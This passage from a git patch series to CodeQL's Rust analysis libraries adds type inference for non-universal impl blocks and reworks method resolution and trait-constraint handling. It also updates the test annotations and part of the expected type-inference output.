convert_to(thing); // $ MISSING: type=j:S1 } } @@ -219,13 +386,13 @@ mod type_parameter_bounds { fn call_first_trait_per_bound>(x: T) { // The type parameter bound determines which method this call is resolved to. let s1 = x.method(); // $ method=SecondTrait::method - println!("{:?}", s1); + println!("{:?}", s1); // $ type=s1:I } fn call_second_trait_per_bound>(x: T) { // The type parameter bound determines which method this call is resolved to. let s2 = x.method(); // $ method=SecondTrait::method - println!("{:?}", s2); + println!("{:?}", s2); // $ type=s2:I } fn trait_bound_with_type>(x: T) { @@ -235,7 +402,7 @@ mod type_parameter_bounds { fn trait_per_bound_with_type>(x: T) { let s = x.method(); // $ method=FirstTrait::method - println!("{:?}", s); + println!("{:?}", s); // $ type=s:S1 } trait Pair { @@ -323,8 +490,10 @@ mod function_trait_bounds { a: MyThing { a: S2 }, }; - println!("{:?}", call_trait_thing_m1(x3)); - println!("{:?}", call_trait_thing_m1(y3)); + let a = call_trait_thing_m1(x3); // $ type=a:S1 + println!("{:?}", a); + let b = call_trait_thing_m1(y3); // $ type=b:S2 + println!("{:?}", b); } } @@ -584,14 +753,14 @@ mod method_supertraits { let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m2()); // $ method=m2 - println!("{:?}", y.m2()); // $ method=m2 + println!("{:?}", x.m2()); // $ method=m2 type=x.m2():S1 + println!("{:?}", y.m2()); // $ method=m2 type=y.m2():S2 let x = MyThing2 { a: S1 }; let y = MyThing2 { a: S2 }; - println!("{:?}", x.m3()); // $ method=m3 - println!("{:?}", y.m3()); // $ method=m3 + println!("{:?}", x.m3()); // $ method=m3 type=x.m3():S1 + println!("{:?}", y.m3()); // $ method=m3 type=y.m3():S2 } } @@ -767,7 +936,7 @@ mod option_methods { println!("{:?}", x4); let x5 = MyOption::MySome(MyOption::::MyNone()); - println!("{:?}", x5.flatten()); // MISSING: method=flatten + println!("{:?}", x5.flatten()); // $ MISSING: method=flatten let x6 = MyOption::MySome(MyOption::::MyNone()); println!("{:?}", MyOption::>::flatten(x6)); From e45b5c557dfcd12f788781ccdb92b46323bb629a Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 28 Apr 2025 15:14:33 +0200 Subject: [PATCH 035/535] Rust: Implement type inference support for non-universal impl blocks --- .../codeql/rust/internal/PathResolution.qll | 55 - rust/ql/lib/codeql/rust/internal/Type.qll | 112 +- .../codeql/rust/internal/TypeInference.qll | 138 +- .../lib/codeql/rust/internal/TypeMention.qll | 16 + .../test/library-tests/type-inference/main.rs | 38 +- .../type-inference/type-inference.expected | 2198 ++++++++++------- .../typeinference/internal/TypeInference.qll | 481 +++- 7 files changed, 1868 insertions(+), 1170 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 5bc45afecf17..5287c73b017a 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -448,61 +448,6 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { TraitItemNode resolveTraitTy() { result = resolvePath(this.getTraitPath()) } - pragma[nomagic] - private TypeRepr getASelfTyArg() { - result = - this.getSelfPath().getSegment().getGenericArgList().getAGenericArg().(TypeArg).getTypeRepr() - } - - /** - * Holds if this `impl` block is not fully parametric. That is, the implementing - * type is generic and the implementation is not parametrically polymorphic in all - * the implementing type's arguments. - * - * Examples: - * - * ```rust - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // not fully parametric - * - * impl Foo> { ... } // not fully parametric - * - * impl Foo { ... } // not fully parametric - * - * impl Foo where T: Trait { ... } // not fully parametric - * ``` - */ - pragma[nomagic] - predicate isNotFullyParametric() { - exists(TypeRepr arg | arg = this.getASelfTyArg() | - not exists(resolveTypeParamPathTypeRepr(arg)) - or - resolveTypeParamPathTypeRepr(arg).hasTraitBound() - ) - } - - /** - * Holds if this `impl` block is fully parametric. Examples: - * - * ```rust - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // fully parametric - * - * impl Foo { ... } // not fully parametric - * - * impl Foo> { ... } // not fully parametric - * - * impl Foo { ... } // not fully parametric - * - * impl Foo where T: Trait { ... } // not fully parametric - * ``` - */ - predicate isFullyParametric() { not this.isNotFullyParametric() } - override AssocItemNode getAnAssocItem() { result = super.getAssocItemList().getAnAssocItem() } override string getName() { result = "(impl)" } diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index 9e063d215161..b50d0424a3de 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -27,10 +27,6 @@ newtype TType = * types, such as traits and implementation blocks. */ abstract class Type extends TType { - /** Gets the method `name` belonging to this type, if any. */ - pragma[nomagic] - abstract Function getMethod(string name); - /** Gets the struct field `name` belonging to this type, if any. */ pragma[nomagic] abstract StructField getStructField(string name); @@ -45,25 +41,6 @@ abstract class Type extends TType { /** Gets a type parameter of this type. */ final TypeParameter getATypeParameter() { result = this.getTypeParameter(_) } - /** - * Gets an AST node that mentions a base type of this type, if any. - * - * Although Rust doesn't have traditional OOP-style inheritance, we model trait - * bounds and `impl` blocks as base types. Example: - * - * ```rust - * trait T1 {} - * - * trait T2 {} - * - * trait T3 : T1, T2 {} - * // ^^ `this` - * // ^^ `result` - * // ^^ `result` - * ``` - */ - abstract TypeMention getABaseTypeMention(); - /** Gets a textual representation of this type. */ abstract string toString(); @@ -73,21 +50,6 @@ abstract class Type extends TType { abstract private class StructOrEnumType extends Type { abstract ItemNode asItemNode(); - - final override Function getMethod(string name) { - result = this.asItemNode().getASuccessor(name) and - exists(ImplOrTraitItemNode impl | result = impl.getAnAssocItem() | - impl instanceof Trait - or - impl.(ImplItemNode).isFullyParametric() - ) - } - - /** Gets all of the fully parametric `impl` blocks that target this type. */ - final override ImplMention getABaseTypeMention() { - this.asItemNode() = result.resolveSelfTy() and - result.isFullyParametric() - } } /** A struct type. */ @@ -138,8 +100,6 @@ class TraitType extends Type, TTrait { TraitType() { this = TTrait(trait) } - override Function getMethod(string name) { result = trait.(ItemNode).getASuccessor(name) } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -151,14 +111,6 @@ class TraitType extends Type, TTrait { any(AssociatedTypeTypeParameter param | param.getTrait() = trait and param.getIndex() = i) } - pragma[nomagic] - private TypeReprMention getABoundMention() { - result = trait.getTypeBoundList().getABound().getTypeRepr() - } - - /** Gets any of the trait bounds of this trait. */ - override TypeMention getABaseTypeMention() { result = this.getABoundMention() } - override string toString() { result = trait.toString() } override Location getLocation() { result = trait.getLocation() } @@ -220,8 +172,6 @@ class ImplType extends Type, TImpl { ImplType() { this = TImpl(impl) } - override Function getMethod(string name) { result = impl.(ItemNode).getASuccessor(name) } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -230,9 +180,6 @@ class ImplType extends Type, TImpl { result = TTypeParamTypeParameter(impl.getGenericParamList().getTypeParam(i)) } - /** Get the trait implemented by this `impl` block, if any. */ - override TypeMention getABaseTypeMention() { result = impl.getTrait() } - override string toString() { result = impl.toString() } override Location getLocation() { result = impl.getLocation() } @@ -247,8 +194,6 @@ class ImplType extends Type, TImpl { class ArrayType extends Type, TArrayType { ArrayType() { this = TArrayType() } - override Function getMethod(string name) { none() } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -257,8 +202,6 @@ class ArrayType extends Type, TArrayType { none() // todo } - override TypeMention getABaseTypeMention() { none() } - override string toString() { result = "[]" } override Location getLocation() { result instanceof EmptyLocation } @@ -273,8 +216,6 @@ class ArrayType extends Type, TArrayType { class RefType extends Type, TRefType { RefType() { this = TRefType() } - override Function getMethod(string name) { none() } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -284,8 +225,6 @@ class RefType extends Type, TRefType { i = 0 } - override TypeMention getABaseTypeMention() { none() } - override string toString() { result = "&" } override Location getLocation() { result instanceof EmptyLocation } @@ -293,8 +232,6 @@ class RefType extends Type, TRefType { /** A type parameter. */ abstract class TypeParameter extends Type { - override TypeMention getABaseTypeMention() { none() } - override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -318,19 +255,9 @@ class TypeParamTypeParameter extends TypeParameter, TTypeParamTypeParameter { TypeParam getTypeParam() { result = typeParam } - override Function getMethod(string name) { - // NOTE: If the type parameter has trait bounds, then this finds methods - // on the bounding traits. - result = typeParam.(ItemNode).getASuccessor(name) - } - override string toString() { result = typeParam.toString() } override Location getLocation() { result = typeParam.getLocation() } - - final override TypeMention getABaseTypeMention() { - result = typeParam.getTypeBoundList().getABound().getTypeRepr() - } } /** @@ -377,19 +304,13 @@ class AssociatedTypeTypeParameter extends TypeParameter, TAssociatedTypeTypePara int getIndex() { traitAliasIndex(_, result, typeAlias) } - override Function getMethod(string name) { none() } - override string toString() { result = typeAlias.getName().getText() } override Location getLocation() { result = typeAlias.getLocation() } - - override TypeMention getABaseTypeMention() { none() } } /** An implicit reference type parameter. */ class RefTypeParameter extends TypeParameter, TRefTypeParameter { - override Function getMethod(string name) { none() } - override string toString() { result = "&T" } override Location getLocation() { result instanceof EmptyLocation } @@ -409,15 +330,34 @@ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { Trait getTrait() { result = trait } - override TypeMention getABaseTypeMention() { result = trait } + override string toString() { result = "Self [" + trait.toString() + "]" } + + override Location getLocation() { result = trait.getLocation() } +} + +/** A type abstraction. */ +abstract class TypeAbstraction extends AstNode { + abstract TypeParameter getATypeParameter(); +} - override Function getMethod(string name) { - // The `Self` type parameter is an implementation of the trait, so it has - // all the trait's methods. - result = trait.(ItemNode).getASuccessor(name) +final class ImplTypeAbstraction extends TypeAbstraction, Impl { + override TypeParamTypeParameter getATypeParameter() { + result.getTypeParam() = this.getGenericParamList().getATypeParam() } +} - override string toString() { result = "Self [" + trait.toString() + "]" } +final class TraitTypeAbstraction extends TypeAbstraction, Trait { + override TypeParamTypeParameter getATypeParameter() { + result.getTypeParam() = this.getGenericParamList().getATypeParam() + } +} - override Location getLocation() { result = trait.getLocation() } +final class TypeBoundTypeAbstraction extends TypeAbstraction, TypeBound { + override TypeParamTypeParameter getATypeParameter() { none() } +} + +final class SelfTypeBoundTypeAbstraction extends TypeAbstraction, Name { + SelfTypeBoundTypeAbstraction() { any(Trait trait).getName() = this } + + override TypeParamTypeParameter getATypeParameter() { none() } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 8c741781c207..9b9bb09e1606 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -19,6 +19,8 @@ private module Input1 implements InputSig1 { class TypeParameter = T::TypeParameter; + class TypeAbstraction = T::TypeAbstraction; + private newtype TTypeArgumentPosition = // method type parameters are matched by position instead of by type // parameter entity, to avoid extra recursion through method call resolution @@ -108,7 +110,45 @@ private module Input2 implements InputSig2 { class TypeMention = TM::TypeMention; - TypeMention getABaseTypeMention(Type t) { result = t.getABaseTypeMention() } + TypeMention getABaseTypeMention(Type t) { none() } + + TypeMention getTypeParameterConstraint(TypeParameter tp) { + result = tp.(TypeParamTypeParameter).getTypeParam().getTypeBoundList().getABound().getTypeRepr() + or + result = tp.(SelfTypeParameter).getTrait() + } + + predicate conditionSatisfiesConstraint( + TypeAbstraction abs, TypeMention condition, TypeMention constraint + ) { + // `impl` blocks implementing traits + exists(Impl impl | + abs = impl and + condition = impl.getSelfTy() and + constraint = impl.getTrait() + ) + or + // supertraits + exists(Trait trait | + abs = trait and + condition = trait and + constraint = trait.getTypeBoundList().getABound().getTypeRepr() + ) + or + // trait bounds on type parameters + exists(TypeParam param | + abs = param.getTypeBoundList().getABound() and + condition = param and + constraint = param.getTypeBoundList().getABound().getTypeRepr() + ) + or + // the implicit `Self` type parameter satisfies the trait + exists(SelfTypeParameterMention self | + abs = self and + condition = self and + constraint = self.getTrait() + ) + } } private module M2 = Make2; @@ -227,7 +267,7 @@ private Type getRefAdjustImplicitSelfType(SelfParam self, TypePath suffix, Type } pragma[nomagic] -private Type inferImplSelfType(Impl i, TypePath path) { +private Type resolveImplSelfType(Impl i, TypePath path) { result = i.getSelfTy().(TypeReprMention).resolveTypeAt(path) } @@ -239,7 +279,7 @@ private Type inferImplicitSelfType(SelfParam self, TypePath path) { self = f.getParamList().getSelfParam() and result = getRefAdjustImplicitSelfType(self, suffix, t, path) | - t = inferImplSelfType(i, suffix) + t = resolveImplSelfType(i, suffix) or t = TSelfTypeParameter(i) and suffix.isEmpty() ) @@ -911,36 +951,94 @@ private module Cached { ) } - pragma[inline] - private Type getLookupType(AstNode n) { - exists(Type t | - t = inferType(n) and - if t = TRefType() - then - // for reference types, lookup members in the type being referenced - result = inferType(n, TypePath::singleton(TRefTypeParameter())) - else result = t - ) + pragma[nomagic] + private Type receiverRootType(Expr e) { + any(MethodCallExpr mce).getReceiver() = e and + result = inferType(e) } pragma[nomagic] - private Type getMethodCallExprLookupType(MethodCallExpr mce, string name) { - result = getLookupType(mce.getReceiver()) and - name = mce.getIdentifier().getText() + private Type inferReceiverType(Expr e, TypePath path) { + exists(Type root | root = receiverRootType(e) | + // for reference types, lookup members in the type being referenced + if root = TRefType() + then result = inferType(e, TypePath::cons(TRefTypeParameter(), path)) + else result = inferType(e, path) + ) + } + + private class ReceiverExpr extends Expr { + MethodCallExpr mce; + + ReceiverExpr() { mce.getReceiver() = this } + + string getField() { result = mce.getIdentifier().getText() } + + Type resolveTypeAt(TypePath path) { result = inferReceiverType(this, path) } + } + + private module IsInstantiationOfInput implements IsInstantiationOfSig { + predicate potentialInstantiationOf(ReceiverExpr receiver, TypeAbstraction impl, TypeMention sub) { + sub.resolveType() = receiver.resolveTypeAt(TypePath::nil()) and + sub = impl.(ImplTypeAbstraction).getSelfTy().(TypeReprMention) and + exists(impl.(ImplItemNode).getASuccessor(receiver.getField())) + } + } + + bindingset[item, name] + pragma[inline_late] + private Function getMethodSuccessor(ItemNode item, string name) { + result = item.getASuccessor(name) + } + + bindingset[tp, name] + pragma[inline_late] + private Function getTypeParameterMethod(TypeParameter tp, string name) { + result = getMethodSuccessor(tp.(TypeParamTypeParameter).getTypeParam(), name) + or + result = getMethodSuccessor(tp.(SelfTypeParameter).getTrait(), name) } /** - * Gets a method that the method call `mce` resolves to, if any. + * Gets the method from an `impl` block with an implementing type that matches + * the type of `receiver` and with a name of the method call in which + * `receiver` occurs, if any. */ + private Function getMethodFromImpl(ReceiverExpr receiver) { + exists(Impl impl | + IsInstantiationOf::isInstantiationOf(receiver, impl, + impl.(ImplTypeAbstraction).getSelfTy().(TypeReprMention)) and + result = getMethodSuccessor(impl, receiver.getField()) + ) + } + + /** Gets a method that the method call `mce` resolves to, if any. */ cached Function resolveMethodCallExpr(MethodCallExpr mce) { - exists(string name | result = getMethodCallExprLookupType(mce, name).getMethod(name)) + exists(ReceiverExpr receiver | mce.getReceiver() = receiver | + // The method comes from an `impl` block targeting the type of `receiver`. + result = getMethodFromImpl(receiver) + or + // The type of `receiver` is a type parameter and the method comes from a + // trait bound on the type parameter. + result = getTypeParameterMethod(receiver.resolveTypeAt(TypePath::nil()), receiver.getField()) + ) + } + + pragma[inline] + private Type inferRootTypeDeref(AstNode n) { + exists(Type t | + t = inferType(n) and + // for reference types, lookup members in the type being referenced + if t = TRefType() + then result = inferType(n, TypePath::singleton(TRefTypeParameter())) + else result = t + ) } pragma[nomagic] private Type getFieldExprLookupType(FieldExpr fe, string name) { - result = getLookupType(fe.getContainer()) and - name = fe.getIdentifier().getText() + result = inferRootTypeDeref(fe.getContainer()) and name = fe.getIdentifier().getText() } /** diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index df180e8f6cfa..d12cdf8ac3e3 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -248,3 +248,19 @@ class TraitMention extends TypeMention, TraitItemNode { override Type resolveType() { result = TTrait(this) } } + +// NOTE: Since the implicit type parameter for the self type parameter never +// appears in the AST, we (somewhat arbitrarily) choose the name of a trait as a +// type mention. This works because there is a one-to-one correspondence between +// a trait and its name. +class SelfTypeParameterMention extends TypeMention, Name { + Trait trait; + + SelfTypeParameterMention() { trait.getName() = this } + + Trait getTrait() { result = trait } + + override Type resolveType() { result = TSelfTypeParameter(trait) } + + override TypeReprMention getTypeArgument(int i) { none() } +} diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 61969feb2041..84518bfd6104 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -129,8 +129,8 @@ mod method_non_parametric_impl { println!("{:?}", x.a); // $ fieldof=MyThing println!("{:?}", y.a); // $ fieldof=MyThing - println!("{:?}", x.m1()); // $ MISSING: method=MyThing::m1 - println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1 fieldof=MyThing + println!("{:?}", x.m1()); // $ method=MyThing::m1 + println!("{:?}", y.m1().a); // $ method=MyThing::m1 fieldof=MyThing let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; @@ -295,22 +295,22 @@ mod method_non_parametric_trait_impl { // Tests for method resolution - println!("{:?}", thing_s1.m1()); // $ MISSING: method=MyThing::m1 - println!("{:?}", thing_s2.m1().a); // $ MISSING: method=MyThing::m1 fieldof=MyThing - let s3: S3 = thing_s3.m1(); // $ MISSING: method=MyThing::m1 + println!("{:?}", thing_s1.m1()); // $ method=MyThing::m1 + println!("{:?}", thing_s2.m1().a); // $ method=MyThing::m1 fieldof=MyThing + let s3: S3 = thing_s3.m1(); // $ method=MyThing::m1 println!("{:?}", s3); let p1 = MyPair { p1: S1, p2: S1 }; - println!("{:?}", p1.m1()); // $ MISSING: method=MyTrait::m1 + println!("{:?}", p1.m1()); // $ method=MyTrait::m1 let p2 = MyPair { p1: S1, p2: S2 }; - println!("{:?}", p2.m1()); // $ MISSING: method=MyTrait::m1 + println!("{:?}", p2.m1()); // $ method=MyTrait::m1 let p3 = MyPair { p1: MyThing { a: S1 }, p2: S3, }; - println!("{:?}", p3.m1()); // $ MISSING: method=MyTrait::m1 + println!("{:?}", p3.m1()); // $ method=MyTrait::m1 // These calls go to the first implementation of `MyProduct` for `MyPair` let a = MyPair { p1: S1, p2: S1 }; @@ -324,17 +324,17 @@ mod method_non_parametric_trait_impl { // parameters of the implementation enforce that the two generics must // be equal. let b = MyPair { p1: S2, p2: S1 }; - let x = b.fst(); // $ MISSING: method=MyPair::fst SPURIOUS: method=MyPair::fst + let x = b.fst(); // $ method=MyPair::fst println!("{:?}", x); - let y = b.snd(); // $ MISSING: method=MyPair::snd SPURIOUS: method=MyPair::snd + let y = b.snd(); // $ method=MyPair::snd println!("{:?}", y); // Tests for inference of type parameters based on trait implementations. - let x = call_trait_m1(thing_s1); // $ MISSING: type=x:S1 + let x = call_trait_m1(thing_s1); // $ type=x:S1 println!("{:?}", x); - let y = call_trait_m1(thing_s2); // $ MISSING: type=y:MyThing type=y.A:S2 - println!("{:?}", y.a); // $ MISSING: fieldof=MyThing + let y = call_trait_m1(thing_s2); // $ type=y:MyThing type=y:A.S2 + println!("{:?}", y.a); // $ fieldof=MyThing // First implementation let a = MyPair { p1: S1, p2: S1 }; @@ -345,20 +345,20 @@ mod method_non_parametric_trait_impl { // Second implementation let b = MyPair { p1: S2, p2: S1 }; - let x = get_fst(b); // $ type=x:S1 SPURIOUS: type=x:S2 + let x = get_fst(b); // $ type=x:S1 println!("{:?}", x); - let y = get_snd(b); // $ type=y:S2 SPURIOUS: type=y:S1 + let y = get_snd(b); // $ type=y:S2 println!("{:?}", y); let c = MyPair { p1: S3, p2: MyPair { p1: S2, p2: S1 }, }; - let x = get_snd_fst(c); // $ type=x:S1 SPURIOUS: type=x:S2 + let x = get_snd_fst(c); // $ type=x:S1 let thing = MyThing { a: S1 }; - let i = thing.convert_to(); // $ MISSING: type=i:S1 MISSING: method=T::convert_to - let j = convert_to(thing); // $ MISSING: type=j:S1 + let i = thing.convert_to(); // $ MISSING: type=i:S1 method=T::convert_to + let j = convert_to(thing); // $ type=j:S1 } } @@ -936,7 +936,7 @@ mod option_methods { println!("{:?}", x4); let x5 = MyOption::MySome(MyOption::::MyNone()); - println!("{:?}", x5.flatten()); // $ MISSING: method=flatten + println!("{:?}", x5.flatten()); // $ method=flatten let x6 = MyOption::MySome(MyOption::::MyNone()); println!("{:?}", MyOption::>::flatten(x6)); diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 42e5d90701b9..71681743f3fe 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -119,8 +119,12 @@ inferType | main.rs:130:26:130:28 | y.a | | main.rs:101:5:102:14 | S2 | | main.rs:132:26:132:26 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:132:26:132:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:132:26:132:31 | x.m1() | | main.rs:99:5:100:14 | S1 | | main.rs:133:26:133:26 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:133:26:133:26 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:133:26:133:31 | y.m1() | | main.rs:94:5:97:5 | MyThing | +| main.rs:133:26:133:31 | y.m1() | A | main.rs:101:5:102:14 | S2 | +| main.rs:133:26:133:33 | ... .a | | main.rs:101:5:102:14 | S2 | | main.rs:135:13:135:13 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:135:13:135:13 | x | A | main.rs:99:5:100:14 | S1 | | main.rs:135:17:135:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | @@ -137,964 +141,1236 @@ inferType | main.rs:139:26:139:26 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:139:26:139:26 | y | A | main.rs:101:5:102:14 | S2 | | main.rs:139:26:139:31 | y.m2() | | main.rs:101:5:102:14 | S2 | -| main.rs:155:15:155:18 | SelfParam | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:157:15:157:18 | SelfParam | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:160:9:162:9 | { ... } | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:161:13:161:16 | self | | main.rs:154:5:163:5 | Self [trait MyTrait] | -| main.rs:165:43:165:43 | x | | main.rs:165:26:165:40 | T2 | -| main.rs:165:56:167:5 | { ... } | | main.rs:165:22:165:23 | T1 | -| main.rs:166:9:166:9 | x | | main.rs:165:26:165:40 | T2 | -| main.rs:166:9:166:14 | x.m1() | | main.rs:165:22:165:23 | T1 | -| main.rs:171:15:171:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | -| main.rs:171:15:171:18 | SelfParam | A | main.rs:149:5:150:14 | S1 | -| main.rs:171:27:173:9 | { ... } | | main.rs:149:5:150:14 | S1 | -| main.rs:172:13:172:16 | self | | main.rs:144:5:147:5 | MyThing | -| main.rs:172:13:172:16 | self | A | main.rs:149:5:150:14 | S1 | -| main.rs:172:13:172:18 | self.a | | main.rs:149:5:150:14 | S1 | -| main.rs:178:15:178:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | -| main.rs:178:15:178:18 | SelfParam | A | main.rs:151:5:152:14 | S2 | -| main.rs:178:29:180:9 | { ... } | | main.rs:144:5:147:5 | MyThing | -| main.rs:178:29:180:9 | { ... } | A | main.rs:151:5:152:14 | S2 | -| main.rs:179:13:179:30 | Self {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:179:13:179:30 | Self {...} | A | main.rs:151:5:152:14 | S2 | -| main.rs:179:23:179:26 | self | | main.rs:144:5:147:5 | MyThing | -| main.rs:179:23:179:26 | self | A | main.rs:151:5:152:14 | S2 | -| main.rs:179:23:179:28 | self.a | | main.rs:151:5:152:14 | S2 | -| main.rs:184:13:184:13 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:184:13:184:13 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:184:17:184:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:184:17:184:33 | MyThing {...} | A | main.rs:149:5:150:14 | S1 | -| main.rs:184:30:184:31 | S1 | | main.rs:149:5:150:14 | S1 | -| main.rs:185:13:185:13 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:185:13:185:13 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:185:17:185:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:185:17:185:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | -| main.rs:185:30:185:31 | S2 | | main.rs:151:5:152:14 | S2 | -| main.rs:187:26:187:26 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:187:26:187:26 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:188:26:188:26 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:188:26:188:26 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:190:13:190:13 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:190:13:190:13 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:190:17:190:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:190:17:190:33 | MyThing {...} | A | main.rs:149:5:150:14 | S1 | -| main.rs:190:30:190:31 | S1 | | main.rs:149:5:150:14 | S1 | -| main.rs:191:13:191:13 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:191:13:191:13 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:191:17:191:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:191:17:191:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | -| main.rs:191:30:191:31 | S2 | | main.rs:151:5:152:14 | S2 | -| main.rs:193:40:193:40 | x | | main.rs:144:5:147:5 | MyThing | -| main.rs:193:40:193:40 | x | A | main.rs:149:5:150:14 | S1 | -| main.rs:194:40:194:40 | y | | main.rs:144:5:147:5 | MyThing | -| main.rs:194:40:194:40 | y | A | main.rs:151:5:152:14 | S2 | -| main.rs:211:19:211:22 | SelfParam | | main.rs:209:5:212:5 | Self [trait FirstTrait] | -| main.rs:216:19:216:22 | SelfParam | | main.rs:214:5:217:5 | Self [trait SecondTrait] | -| main.rs:219:64:219:64 | x | | main.rs:219:45:219:61 | T | -| main.rs:221:13:221:14 | s1 | | main.rs:219:35:219:42 | I | -| main.rs:221:18:221:18 | x | | main.rs:219:45:219:61 | T | -| main.rs:221:18:221:27 | x.method() | | main.rs:219:35:219:42 | I | -| main.rs:222:26:222:27 | s1 | | main.rs:219:35:219:42 | I | -| main.rs:225:65:225:65 | x | | main.rs:225:46:225:62 | T | -| main.rs:227:13:227:14 | s2 | | main.rs:225:36:225:43 | I | -| main.rs:227:18:227:18 | x | | main.rs:225:46:225:62 | T | -| main.rs:227:18:227:27 | x.method() | | main.rs:225:36:225:43 | I | -| main.rs:228:26:228:27 | s2 | | main.rs:225:36:225:43 | I | -| main.rs:231:49:231:49 | x | | main.rs:231:30:231:46 | T | -| main.rs:232:13:232:13 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:232:17:232:17 | x | | main.rs:231:30:231:46 | T | -| main.rs:232:17:232:26 | x.method() | | main.rs:201:5:202:14 | S1 | -| main.rs:233:26:233:26 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:236:53:236:53 | x | | main.rs:236:34:236:50 | T | -| main.rs:237:13:237:13 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:237:17:237:17 | x | | main.rs:236:34:236:50 | T | -| main.rs:237:17:237:26 | x.method() | | main.rs:201:5:202:14 | S1 | -| main.rs:238:26:238:26 | s | | main.rs:201:5:202:14 | S1 | -| main.rs:242:16:242:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | -| main.rs:244:16:244:19 | SelfParam | | main.rs:241:5:245:5 | Self [trait Pair] | -| main.rs:247:58:247:58 | x | | main.rs:247:41:247:55 | T | -| main.rs:247:64:247:64 | y | | main.rs:247:41:247:55 | T | -| main.rs:249:13:249:14 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:249:18:249:18 | x | | main.rs:247:41:247:55 | T | -| main.rs:249:18:249:24 | x.fst() | | main.rs:201:5:202:14 | S1 | -| main.rs:250:13:250:14 | s2 | | main.rs:204:5:205:14 | S2 | -| main.rs:250:18:250:18 | y | | main.rs:247:41:247:55 | T | -| main.rs:250:18:250:24 | y.snd() | | main.rs:204:5:205:14 | S2 | -| main.rs:251:32:251:33 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:251:36:251:37 | s2 | | main.rs:204:5:205:14 | S2 | -| main.rs:254:69:254:69 | x | | main.rs:254:52:254:66 | T | -| main.rs:254:75:254:75 | y | | main.rs:254:52:254:66 | T | -| main.rs:256:13:256:14 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:256:18:256:18 | x | | main.rs:254:52:254:66 | T | -| main.rs:256:18:256:24 | x.fst() | | main.rs:201:5:202:14 | S1 | -| main.rs:257:13:257:14 | s2 | | main.rs:254:41:254:49 | T2 | -| main.rs:257:18:257:18 | y | | main.rs:254:52:254:66 | T | -| main.rs:257:18:257:24 | y.snd() | | main.rs:254:41:254:49 | T2 | -| main.rs:258:32:258:33 | s1 | | main.rs:201:5:202:14 | S1 | -| main.rs:258:36:258:37 | s2 | | main.rs:254:41:254:49 | T2 